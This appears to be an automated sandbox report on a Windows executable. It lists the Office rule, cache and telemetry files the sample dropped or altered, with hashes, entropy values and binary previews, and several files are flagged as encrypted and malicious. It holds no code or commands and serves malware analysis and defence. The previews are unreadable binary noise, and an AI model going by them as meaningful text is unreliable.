Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.755713521158662
Encrypted:	false
SSDEEP:	24:HU1fV5b58LbJDIYf6vC6RRpXmOvmhNkbD:01fV5l6xIYfd6Tw6D
MD5:	A8A9DE297E45B80ACC7A15317DE8CC19
SHA1:	47571F7555F737073CE96DD51C5C2A38F57FDD2A
SHA-256:	18B244057DDAF67535104F02D70890986976778B907B6C29F88E8434FAE453AC
SHA-512:	E1BCC60922502BDCA44DF9B67E97BEF0B2999FDD7777EE9FB4A4306BFDC05B765C649B03EDAA8EFD6BCDA0D705A35BF86C608700B88A737D17E7E3DC05A399C2
Malicious:	false
Preview:	<?xml.y.Yh.. ..F..i2c....@'r:.f...w).RKt.9~..D........s.O...S.' .g....7.t...%....\u.....q.^..[..g.}.Gk..x&......k..8$X.....E.S..$..i....x..(ZT.d.8....2.XOH1D..B...gN...z>. .ez.;..^..04}.2...X.....X'...H.P. S..S[t...qFe..+..f....,p.`..s.s.].&...v....3.O...#6....Z.p...].e.c..3N..G..../o...g.....p.N....."....fvA...@...#.p...,.......'....1.<C.v......V.<.a.f..[...76;..^&...Z.>.F.r&.l.....AF.T.y}.T..m.u.o..;......X.. .ZK....L...).AQ.G.h.9...9.0qW...(.x...u...zq.......TX....2.)8l....hHq...h.c.<.../u....\..L.g.t(.mu.....eW.;R....c..hL...q.....T...\l.qv...A&..D....7R..B..[.....'...K..y..0?...#.W...{(...o.2...8.Z\|VI.Z.1.$m}.........^q~....m.>k+.=.b..g0..\|(.3U&N.LBK...2^.:......+bFB.n s...ZV.;i.o...]\|W.r.~.NP.R}2.NN...NlM......$.W..6.(z.R....`]an.u..B.=.z9.....nW.$Z.^1..Z.....oP.~.,:.F..?.......s..x.4.'..l..z0..l.\#z......C...6....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.945545056675009
Encrypted:	false
SSDEEP:	48:Qj5ddVry5ySVPQl80BwKr1lTarzujk442uESJVmCStZTI6B3kF8gC0Myp0XYdk5P:s5dKMSFYBkl44zHRI0FlZ65GDO+bw
MD5:	9CBE9AA28EFC4789D626F136E3384D03
SHA1:	35260461D85428BA6DF0CD96E5389688AFEC4B08
SHA-256:	1E2F04F767DB2289E22FDFBD00D54497D056D74485A83555EED938BE6CD8522D
SHA-512:	CBB200E19F76492C639C3BDAC6E24D9D4F10A1D34DE8B0FBADE84CBC1B6BB0E7E37CC6923EE85D67D8A06E5B0486587FC1C90B9FCCF7C33306AC076DA443FF58
Malicious:	false
Preview:	<?xmlz.H.M...8....<b..(?)......;.z.vs..Vx....h...&...].S.i9...7.).L..?5H,?......E..]..6.COrv.G..bm.../..YkBQ......7.{....U.Q6r.b..eI.A...i.P.\|G.F..klw5...l.....G....3jTtTu.\.{...M.....2.#...p..v_..h....~..g..t.k...M..L.O.{@.&. ...s..4....y.B;..cSCg......~i./.8{P.CT...''1I..Jg-l....(.e...h..>...8...1=l1.]0.=...2.../..X.]..I.......-R..z.xi.Jd.......=.P....%(.K..9.b.A.n.C.....VS.....(..R^m......M~..........HZ.6 .'..._....S.F.1Eo1.).i/.@:....qv0.:.........TU.....1.MAM...`l....N[...Ru.J.......B)OdJ."....yI.V...M+..+...O.c"..,..U.E.....T.'H....b0..X...q....j..a......sX_..}..n..3^...R..H../&TQ.....d.Y.rt[.W.%l".m?.\.w............#...{....r...)>...E@}.\...L..&48.k..'....>.O..e.X*oE.T.o.<../%...:.D.a!..U}...C....s.(...bd..}.=...1.#.....G..8...VU..b^...y..F...&m^.c.....S.<?.MJ... .u..Q.L6.6.......a....BGeJ3I.o.@^...U.KM..."`.t...n2..A..t..l8....r.X .z....s..d..l.,t..o....K.Eo..RI..u.P.r-V.E..OwPY.l...t! ]9.K0..>o.........k@N...X.e.{...s7.5.!.......W...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.9193528803973265
Encrypted:	false
SSDEEP:	48:6tDvyu6sGSc1bpAVfCpp3lZnLPRedIfSNU/w3ROizeO1D:WDH67DyfWPLPRHwYiH
MD5:	E8E432ED4F0F0A929F379396AB8ED69C
SHA1:	7EC1E65FD2B53E1FAB39282B1221DEA38B637BE9
SHA-256:	6C9D8F531A193081426382384EB94CDE0072C9372BF6C6A67087D45AB3F559BC
SHA-512:	3D838809F273DF565BC3A42DA20A586EB1D85EDAD0208461436610D990222F9140C9997A69EC95A0D62BE6F98EB5EA2FC7B66F4D4B67CBC49FCEA060E9E0CBD0
Malicious:	false
Preview:	<?xml.1./..............(..8.X.T=...]..dZ....z.....f.}/......,,..E.e....(..F.~..]9..e.~...R...MT2....V.F.P.!.J.....GAS?fA.v...O...Xq..&...f....2.@..v<....zK.Z.l...'p...)..2.......;jg.m..a:..DM.j.P...A\...5...CS.@........"e..../M>.K......,.T...G.8..._....e..V.../3..P.....Z..."..@.t_m....+.n...<.~h^.f.-..#.....M.....>.`I..e.`..C.f...PM5J.....a.....4\..d.>.Nr-.8..g.s8.49d.!>.h.........+.H."......e>~')....0h2.}]_nk?..O...3.F.....1....).,....).q"c~.\.2...........LE...{..R.x.6.ClX...3.N!3....3e.<.-PDk...(.~..8.,..51.un.K....nW..x]@.W}.=$.../.X..n`5.^.W\|_.7v.p....n....K.....6..Hy.s.+..).Y..>..i....5.P....[Kx....~H.<\A......@.5.....}@....t...%....+-C.....N @."..H...-...s.........-w...$/.~.....K.5D...I.1..S.A.aN.^..T..'J4..0..+.7...#.}.OMO..@A.,.H..2...>Qp.fJ../.4..d.9..n@A.e{.,..Bx....{._.l`..3v....j..$."..b..fWu....w...G..6.{!{........wpl.;..T.h.. .......7.6/ ..X.t+..g.'.............H^...v+-.G. i...@..y.d..O.>.Nf&1z..3..(.0....}.nr..5.7...@H..$.J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.938415268939881
Encrypted:	false
SSDEEP:	48:uwrlsgOk24ktoQR/Onpei44s1wXFIZ8df8TibpbcrnedZ2GDfnBUyI6ZD:uwrCoQReK4syVU8GMpkniosOYR
MD5:	B050E8CBBC227B631050763D36AACF4E
SHA1:	27B50228EDE10502AE01F2CC4DCC05298C861C06
SHA-256:	A7E06D638DC16B553522CA74ADEAB1000B6B9C2744AE451406C3137264B840C8
SHA-512:	7ED520185B3195DC2689DDF9C821EA8CE92F200F3C95A3D1C37FC829D0D969499D64832486ACE9985B7D8D4EF287D863BD4A5C860A8E03F648731349381A87B7
Malicious:	false
Preview:	<?xml.A~...6.-.....=........~..t...w.r..G.\|.W....5..^...X..}.!.s..m=.k/..\w.g........;.ZN.XjO.C..Lr......h...p7.c.!...EoM..$..&. hU.Y.\s;.n.....3....g8...6.MX..!..%{.G.@J...^.Z.zdvs.P......EqP..._.:@{.....,.'...+>..8..\|....).........+.....R.%....NSi..X.5...9..Y.{z?{.E~..!....C.:.....x1.G....Ub.l).!....).J.S.1...........?......F..^..RH.....3..:......z.+iA<..F.K.I.....2..L..."......:.J..&...G.9...Q..'...{...\..e.M5.4!...".M._Q.+...5.Y.E...(.8C.tvj.....x..F.e...0.....TZ.raC....{..5\!....:8M.D... ..q.Q..66J{...yi).....)..Q.\|e..........6SQ....dvu..R.'..!....;.....zz.t.To.<....&C.x-....A~B..C2...e...G....4S.j.6X.pu...T.GQx."9.B....;......K.C.......>!..\|.....9..kg...Y:G.FSQW....q"..4,..L+..G.....9z......g.izDcj\..j2.......L.......6B...{.v..Y..q..F/2...u..+.u........A.U.0=.#~2_ .b..F..m.IA..^...~..\|.0..WWa.@.AL1..E..........QS....mo.<...G...8.....aJ......$..I..S...O-.......`N.^..Q.E....f\|.....~.0. ..L...4.u1=3..=..T.$M.w'.......Le.0..."....{gB

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964038509148343
Encrypted:	false
SSDEEP:	96:j2oUShdufS324Z3QniBfiKUOxcgPLFqkJW4Op0/ZikpvbLeZU4uyn74YrG:j2pSuf83QnFvOzqkJWt0/ZlvbLYUM4Y6
MD5:	C88B8139D3792F636031C99E838C927D
SHA1:	E9A72C5FD2DB881E72C23148D301B1D2BE4BEBAF
SHA-256:	2AB5E92FFCCAAF6E3F4290F9220348C3E274DA7814E03E66A7D0DF1CFEDB7367
SHA-512:	78CC6BF025F0C548F0E8AEB62F28736F61E973C96DB1EA798443A0A9356FCAF87EA47669EB9BFA4EC7E1660A8CE7EE78B116DC0921C4D9D806F3587970B7D33F
Malicious:	false
Preview:	<?xml...i....\$1...!y...1L...<.....N.1.A...T....k.F.+.3.7...6,....V..6.........!AK.....K.F..@...j.Z..$0.^.......-..q+lj8.H.-[.eS~.w....ON..G.Nf.=>....?....T.e~....W.%.H..=.~.Ru....~k..X..z(&...-34.~."..s>..{.I..~..h.\2R...[.f6"ih..........&fW~r.v...aI......O.h.e.YC..........^..q\.&..hy...'i.q`....m.P.-..._.a7..V.qKX..>....H./..5..@...Q.....{...g....,.B..I.Nk..~...n{..3S..If."5}..Z. (#H..2y....l2..N..K..iOW...+..!.....7{m.J[.....>.X.M.B.......F.....w.I.k.VV.!...{........X.\e..V........Y,..7*.Y2.o.....9N.{.t__.R..:uK7...m..-.h.......T....x.x......7.PR....2....9....$i.........E..M.@.u..D...0...d..v..._..j.....^........:..1.hZ.5..5.]l".6...c....h5.U.!........ W..r0.Z.=0.B..[.>.Q.;.WG..R.. OO).Wc.i..\J.@..#...Rc.rX.D..D6.\|}C.1..;..r....n..8:M5....s.o..]....Y..4'p...'.~..6.Q....Zo.[t:..3,.P........\|j..`....8\|......O..Q....mi...$..D...Hm.En.C./...:..w"....K1u\|&....;......T..;.ma...T...fO..D...{].I.-..,'.6J.....Ph....3..5...:.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	modified
Size (bytes):	7596
Entropy (8bit):	7.975613415801565
Encrypted:	false
SSDEEP:	96:YBHVmv57tM5lsQlafp0fB5jPuC3PVgQbqh603RU+F7RIUHChcx9yPaKIU0Me2SOv:YB1mv5iN0Sjiiqh60BURhcfyP9tIob
MD5:	600C174A3BE88D2CBE208C40B35DD026
SHA1:	958234AA9964E1E5AF881DBF3A8A4312CEE1637D
SHA-256:	E2073726E0335BBD3CE8032F93D1A9F41EEF21BD18A0FB825696D71949455EF5
SHA-512:	B998651E17279BC5B1125B52EC65C1A6EF2B63E3D6B6EA72DE775237666B48F02E607DB563363360CD71FE0AD7434ECE4B352892F19B9ECC06CC117BC59D748D
Malicious:	false
Preview:	<?xml.....j.-rB...Q,.....r...a..Mn....._..2u..\|..di8.?......Yjl.T.axNt..!..4.G:....4..#q..LLaR.:...nO..f.j..tY.,.hU..z....._....'=.uU.$..{V.22H.(..oT.+...b..Z..0a......U/i+Y .;.-=kIi....._...........w....i...w.p.d'.z6.<./B....h..V.1.....[K...3a.R..........D.u...1w"......V%...h<.....=.B ......e..2v...b..n.(<w..{....5.\..F.....a....b....(.T...klQ.e.....I.c....B.L.Q{.[..5y9;.. .._.}:..C..8..Q2t...H`<..b..z....JaD.4U...fE.....o...R.>}Ec..v..+{..e`.....I.rG/A......S....J.y#.-...M}V......._.n]r~...MymK'..4~.A....,s...........8.J.......4(....^.%PS....R).i...:...7].Dx.N.qW..o..k..\>..Usc.C..........7.ud.p_.....F.aZHxu..v9..g.C!.z..M^..T.c3.Q3....K.....WVZ.6U.4."d.l....g.-y.K...a...,\.qdY.0.dM.<.*...%.)F....B..../.........G(...t...X...O...2...F.x.k......&g.....]v....h.{..L._.\.c/T.i.63....M>.N)E.?`P0.a.......Z.A..6A..X..K....T..=w...K..$.0.sG.>D...-..a\|D...7[.A@......Nvn..a...W...S..)}/.Hh..Z........`....m.g.n.9.%.Q..8X,j..4^.......'...H...u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513083735767822
Encrypted:	false
SSDEEP:	3072:hQesghICyQ2TkaJzKj1f1FEzqtkXPrwJ+uPL44ybbGy6IT:hI8ITVJzK5AzqtmPUJ5ObGFm
MD5:	7FA7292DBBDAB9BF1B84CA1010962CBC
SHA1:	2720BD787120B56AED1B31E3C4D993F0646C4E43
SHA-256:	20FCF59448B9466C2E0C7E61A1B092591CEE99EBDE77267811A093B9F8842279
SHA-512:	4F69B864FC1E9C78C07CA2594EDD1EB7F709E39B949677E5C3CF59493DE6385702F622F2A09102A4EE90D91D2D160F8C8CDFF6D2BA1CED39A5E0EBFD553E1FAD
Malicious:	false
Preview:	<Rule...b.>1....c.\....3.~z.y{%..x.S..x3......c...]..B..fF...zn....Y7./\|....0..<.@.E.q.<?.mn%.G.vF.),.zO#....\|B.Y..S..lD......>...@z.{..+..>..)...a..a..2...p^..:.zB.........N..)&_........6 nO.....z...p!!.n/.E:v..lV<....Y^.......~....M.e.y.....D.O.W.j.MWp+....#.T.l....%^..7..&+..s.7..fb.d..g.V.....S..8..W..\|o,.\|...tp.....G8..K...W...2........Mf.4...)v.(...W._~k...=......'...E.!....B..M..L'.!o...8>...y...=.......U'.qrH..ZwU....x...H.N . H....j......-o.Y_:.+)..1..1(..T..;.....<W4.X...<.PT...W.......r..Q+...S....U(<(Q.b.......z...N2..UK......=...Z...n=u....=...y..P.U..?3.........,y....`.p.6..X..yg.O_....i....i.;....n6..kZ1.@....0_Ua.h.o........Z&}.......C..h....,..d5..Z.....lK....cY>\|.l<rV....].v.....?.l......hU.G_.].R......ZE.Q.Z......V......Zj.[.&.. $cG.\..a@..ej-.t.J.V.e..6.i.A.Bk.X2........%....t.o...la..&+.7..G Oq.#.e.$..r..B..~..j..l_2...{7.[Zh.>...+......)'d..CM.(..A...C...Yg...;...[W..@.&"...\|.}m....j..q...0..~f.50~0.CS.g.lQ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.51500684468867
Encrypted:	false
SSDEEP:	3072:+QQv4s9g43MBANevu/t3hijoIgRC4+lNF/vLl7PIkeP1WMOi5lSF:+K4+eeyZj8NbtMO4SF
MD5:	BA66D89A26534C90AADF508F2E1D4FB8
SHA1:	6EC474D144DEB61F4065CB799A7452F9D7295C2B
SHA-256:	574461AFFC93788C6BB359F7AE5E4471C705BB5D799F0EAAC1BF706CB16D25E5
SHA-512:	05D9842EFF40FBF850530753347E182A54BA41DEAC2768B1E70A51860D51FF0962A7B7B63175DE45E28A548C014EAB310DE0654C4207ED417FF56E99FDB06341
Malicious:	false
Preview:	<Rule.!@rto...O...P.ST.SW.U..j..9...:..U.4..(..Z..]".\(j..S...=a#)P#o.S. .=/.2}.....!...R...n\|.lzH......Q^........;..m7...#+P.y1O..4.G.IG.r....9.3X.K.h6`...q0....J....G9......R... ..2.......Bn.+..>1..."(.2.....>.2.kjI.8m...6.-z...N.T.s..&.-C...w.X,,q.4.9.%...k..6.%...I.._......u...S.d...8.._..Bs....$...thi..~......f.nM.>.%..=......#..JA.y..-.=Qv".I v....q.2K.l.{.2.Xm..b.}...$.f.....H.=.......L.....g6.....3.n).6....OY.).}Q...j..x.......n..e@.......?.A.nO&.'Kmg..[.$i...k.]...X...b.jd..5 @V....x.....'../Q...3.=.cw..4...;.5.....li..._..tg.9...e...?.........z..../.v<..52....._....qA....8......6.....EBO,>F.+.."p......#..'.....`...]..Dn....].C..]tjC...(oc..j...S.h...U..z/:.....n..0.)(.h...>.b...I......... #=2..u4..!.......W....Y.......#8.R.1.N_..O.k?.PB.W.....j...$...;......B..]kg...t=..v...wc.8.;.9Y..QQ..v.o~..jI%.c3...q.,.\.z... 'y.Uco.iqg..M.U..;\|....g..:a...GF.....7.4o. .....B.....a....B.ZBe.E..8xe.V...f..'.E...MrJ .R....]..Hk0.4.

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.830704946598922
Encrypted:	false
SSDEEP:	24:W+fmNtIERouEsm1MpYSC88gzEIPZob6zQeVAgokbD:WpCuz0+YO8jtJglD
MD5:	583D4238179E868BD2081325D47E55D5
SHA1:	D446684872C7533C4444389817238A72AA38519C
SHA-256:	B90316CA6AF3BCB2980B28B957B7CC70BB464086E387CEAACE9D35BC79880EAF
SHA-512:	17A2440A51C05FA09801148B07CF7BC0C023CE9BF5F9FE916CD247A58D59BAAFD47A0FF49AF13C8C419E9489E85A49CDA7EA76C7B86537785247C800F422AD48
Malicious:	false
Preview:	3.7.4..S....7.g...<,..1.. >.....O.Q.%..}..4.......-+/`.q.j.$0..^}.(..R.C.{..?1r$.%...[\|.YZ..~..K....tHT.A.....L...f..b.Tt.I...........=.#CY..r...:..s<..J.O...F..@.n....m......w..r.....7I.....w..;2._...h::.x$@./...K........]0+.......`..h...$...."..H...fX..v[..yW5..R6(.t...^.Tw>.n7..../j?0..?.J..XJ...%d.......$...Y.......&..K+8HS...).@\|.K{.e.f.i.32.q...$..c.-....N.<H.`...e.%Zw..$g..4......(..]...K...)....$o....e.t...t{...S..K.P+.......j...O.>.j@....Ac.b)....a ......af...6.H..).......5....=.B..J..'_.e?"O)Xz..\.i#>!..2..s0]...LIJYn..i#.......l..Rs..R...q%K.!WZ.....$M...]...1,............R\Us...d..5....ZF..V\|.q1....H.......D.....}J.2.d....Nc...._rR.<.$......a.ySq...H..1.Z.YbJ}....~...z........L0.lXt.E.M.vI..U.B.a.....z..c7jl~..!..lb.....P9..A'nZw......y..-.....$z....:.J.4.....u'5P.\n.7"m.c.....}....XLh.....H..f.p......I....Gg......"z.N..W..+.f..$v..^.9..u.r.n.%..T....J>....p..>.......h.G*...iudu...p$S.\|L..A....Va$.L.Fi.sWC....N......y.i

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992441571796912
Encrypted:	true
SSDEEP:	768:1u30eMx8CNkVR6YmwJjM5GBeJM4tc52irHWVL+:I3mx8TRIVfRi8iA+
MD5:	937FBC4E06C5CCFA0DC73B775881421D
SHA1:	09CF5EC24D60B2443E2021A3CC1F09EF0694C014
SHA-256:	4E6FE383E7B5D56AEC482F6C0B09B81F769AC09385AE0645D5F4A87B37E40538
SHA-512:	6A25EA6A4077EE008BDEE3D203362B607A8EDB8F8C9DE3B0C2B2496F92BB04CA6612BD0E0D9F1818A458BC9BE9AC8C9785BFBA01F460C81074141DC30028F4CC
Malicious:	true
Preview:	SQLit.....&u.bJ...H..[...T..J..u..(.`..=)...Sz#.F1...nI.$\|....V...b{.....{.........Zx.c........v.....0......H.6P.P...>.e.MTr.2Lo.L.............x\.F.a...,.\9.....8.p.Z.v$...9.K............?&%.c.o/UHt..n.....O...B......YF.A.K/..`. 6Q.....sc.FR...o.....$.y....w.....c.U.....nwg..!.0E.R.y..........?Y.f..>.F.........Y.f....EO.w.)(.=..@C..IE.q0.~B.E....}....".....s:H....J.......CBJ..k......%..s.....lZ.DD.G{...ET7..Q.3..Ma..Z{T.U=....I......_...H..D...E..M4[]...[4.".../....C......}+...&...J...Fy>-..K.a..:......<..C'....>..R..OR.....J'.`k....].;.z.X,.....:"....P{.....:?.a...k.......ia...KY.q..X.x ...b......#.E...K.2........ ..:q..i...,n`..=.I.0.....mN.....:.oq..:am.>.`.\|.w.^?.c9yR....Z.)e.)......:;....[.k...gm...l..........Bx~...hM..o..m92.....c...x....6..f......8.F..v..*:..m...... .&.;..S/..u.p<.H^;../...Ke#V..f6.U...K.NW45r..)-..p>......,..9P8.5.[..TH.#.%4....OE.Qd.......b. /.Uy.c..:ns...$.o..E...0.&B.:.D:Cx.w5....g...".h...h

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993009954764668
Encrypted:	true
SSDEEP:	768:LabcGCR2LdEoYYzyflbJIinoHuteX8PmIVkQubL:LabbCRgHYYz8lbiOImVkrbL
MD5:	B1292DED75F2AF6FF187C85FB65AA413
SHA1:	845A9009A19D64453F63EF84C6024ADA67E4808B
SHA-256:	22F271AFFBD025ACF2932F9CC69713A635A29E24551B5F4B5F8C60F900A0E57F
SHA-512:	ABA5B4C6AFED79C89E9A9F46B2B52B312C257DFE439B5C84D56F243E8AFEC2BFB1A239F4B73175D1A2D562BD9A4E11CB53E8E68841C4BE4281847CFD957972AC
Malicious:	true
Preview:	SQLitM.N..]..W...G.v0...?$D@U.;....fd....U.......F..&......w...v..c.....[..2vsjc\:K....,bo....K.&q.."..l".s.J^.u..U..j.....E<....I.......E.........K..a.._....f$...X..;.@....<...:.'.n.783..g?......a5!......F.....}.w"x=of...=...,{.%.V.d.L<.q.,Q.q<...fG[\.:;...Cf51....3...'..]$.n...Lvk'.E.A.L..r.....hj...P...7..p.Ey.....#...<.Zp..s....]DN.l.;..a./W....cqd...................;.~J.W.....S..8@....[..@.Z.u......v.8.Y].5./m:....mZ........r....=t$.lf..P..##up...x.D....q=.....ve...z.r....A.e....!:.-.?.e..+.......(.>...v.eUc.&.%....x..H/q.@.1..W.t.<xt,....F...#.....[.\|..............V.2I....Uz...R,....O.....Ut.Z..l.....p.x.s)k..!.2....w......vN..(..".<.Z.,..p~j.v.b...i...Q..V^..)..%./.....m.}.....A.R...0.%..P..(.."$kH.....b.u/.......G.a. ..'`".......Y....0);.3B.F../rI..%Rw..././..L.i!s...<Q8"\|c...t..&!.F.L....V.a....._..N...y...r..>sr1I/.3..g.....0....\d\|A..#.,.:..},1<. V]:..a.^..\.ML....+.,.4..@..}fg...H...'5.=...qmR[.B.......n.-L..yN\....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99227166515496
Encrypted:	true
SSDEEP:	384:nPGijgYHg6VWWf6sCAARe3GedH7Q7IrS7dHtHR1ErwwoAHv0hQ+5LZQGcSIt6pa:nVjtgnWf6ed1+7Ie7dzkiKtbGcSIt
MD5:	3BE0891CC90088F69725FBB4D43B51D1
SHA1:	CEAE4F9846D1FB9E8A17599760434E650835776C
SHA-256:	90D407EA52AAEA12102166269818EBAD9D34DF24F63869158AC85593FDE87AFD
SHA-512:	FF8D101FE18B9EA4362E074CEF00F423191939E145A93B4498839E7DDF3DA0202C1850E2AB7DAE65B75240F15D40021B8C128AAB67A6807589D97C7C768477CF
Malicious:	true
Preview:	SQLitw;/.....)4T.e..op...n......H......(r.7....6.6.bZ....Y....h$.+....0..........Z.....;........nxS.A.,....)P..8....\|.8.w..ul...TZ.m1tS.K.....v..^p...N[......'.q...$..r.8Vo.5.yFh.).;..s..:?....m..e.r.7.\|...A......g.\q..}cz..'..5..X+._[.....r.2p?.2.y$...Qr.....3Xm..Q...Z.....-0.@.X8.2:..Z.b5.2.s.=..\|..V(.2.......yB..J5.0R,........L.G..1t......W...:.5....j..1.2)...{c....q:..;.......=x.`7.b.....X3D...u.gZ.w..L...'.....5...?.U.."...b9..aL....3J.,.3.>..K.....~.B...6...P`.X..6hG...YE......s.!..W.Q.(.k..[....U...B.... ...t\(.../...U..X.?...U....o..p"...t.B..Sl.}.......W..,....l9.+#..........3....R1....F..t5....c.....&.?.wmn.`....8...L....d].yO..f..V...y....E..1...eq.Fu}.......I..A<.....F..mi.&..;eK......AH2...>.Z.D.9.._.....XI./..=..WG_......aL.....=.......L(G.PUX.......e.o#.........A...Q.._z:{d. ..yC.a...;?.....X....m.....b}.......q.Wf.H8..2.@?"]..t.j...J..&M.X............uTA3.~...=.].u....N}....I.\pBl..\|=H.7..Tz.T...-.....V..@.Td..*O

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993306852130915
Encrypted:	true
SSDEEP:	768:p+3pXwyCExd+ydc0KSiqYtn9m46hOwfSH:p+nHlOJ9m46hOqSH
MD5:	58C336F13CA794214E7495332DAE54B4
SHA1:	98F6A12EFBC2762F10794340147575771DF5EBA7
SHA-256:	BBD3BA8A9D6821887798D9889BEF58FA26075EDCAD849DE21F086E40271C3CA9
SHA-512:	38B23EAEE6B0B45BC320C7CC0918714CE212C95FD2DB35B5937212E1343C0193377C53199EC099409F60C15764511963F3F9F9C1A5B4D5D4C325611E6BB63512
Malicious:	true
Preview:	SQLit.?.......S..l.f{T....\4F..Y,.U.IDs..6..8..Pj5.../..M..>...-...;...$..?i..._...x.....$.S..]m..)...;.9..K.~5.F..DA..M..]<..HM.....$.....?P.K4.......s..4zE...i...YR....4.p..`.S...F.G.,.....N>l...f...8@+f.1B..ARI.wN..PK`?..N.D9].GB....s...y`...{..$P..G.n......J...q......cF.Pz\|r......k.....j...n....U..X...~..d..E.....t..L.)z...~.........rj^7.M.N...!.Y.s....n.5.r......>n...j.X.21..Y.-Rdx.=..'.B..st.-rV.^.#......7?B.w..>.Q.0..._..@?@o.....b.E[..m.o.bFO.-qyo(...@...`.. A..>..X..H.Y....h..+..9..c.c=...R.A`.J5.A...&.e{T..............Q...S.$U...~.."&..........e\|.`.V..Z.',vDL.y.z%B4hl.....c.5..}..#.L.......CH$.p...>2..t.+..q.......2..6.%B.........f......ce.ss..........lo..X.........;../.0....h ..c...>{..X.....i..(^..;.../.)M..5......R..I.M.....*D.../........WN>~q.Y.....C...-.. A...Q..Hb.d.4.Y.....m..m.V....es..@..;..rP....grhOk..\..\|.t.!..Zt4mM.y.\...._...j....UP."...^b..,7....o.^2....\.(".;..{.I-.w...So.D.4.5.u&....!.;...<......\|.Y..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.868328934496954
Encrypted:	false
SSDEEP:	24:YrH+hUFdY0M3WVW9BKtT0amauRhJ00P3YWBp6Z6ENXx1GtQtrJkYdkbD:YiS3YxYGBM+RhO0PoWWZ6EGtQtrHsD
MD5:	FE1708DDB21C91447B4D96564F1443BA
SHA1:	88B6D803D5A19EFB51575308E903B1F757007DE0
SHA-256:	223A17FB08BD08E5AF3075F98733DFF71E5A9FD24616F007D367CCE5D7B0E226
SHA-512:	5041BA12858F77212254B5E7CB5902537473008BA490DAD673E28376A05F9108FCA1036D38C0EDB9322E599714C578366C8B4F7C0C2D346B3A365D55B45E87C7
Malicious:	false
Preview:	{"Rec@..{.....6w...NvnC.D..Dx..L)..)h.....9$...59.W2...-....y....!.......f..H..sH.i5.....f.W.oEx7.E]..<2.a....>..vVz..dp.OD........&....~w.U..p.I]...TfB....i[.....q.:....2..B....jn.'/.8U..$..H.Y\....>w.Y.-.`7..1..........q.;..>S/....C...3..."7.^..vSJ..>..42@.!.hpl2.........G.......%....X,..snN,...9...B..0...?.H.P...@...L.4!f.....q..jro".>./...\|~0...n.{.T.\.S.m]..=.9,...,....n>-........=.K...-....`....yC<.R.i.q1...G....$..7...3_..{9a...1....._.<...:...y.{o...x...b..e\|O..%.&.....h&$..5.f./87...fK..(.........yf.....K(n..&.h.Ib....z..._..6......7.`F..C......8....l....y.J.l.4......\|g...`...J-.H`e....6 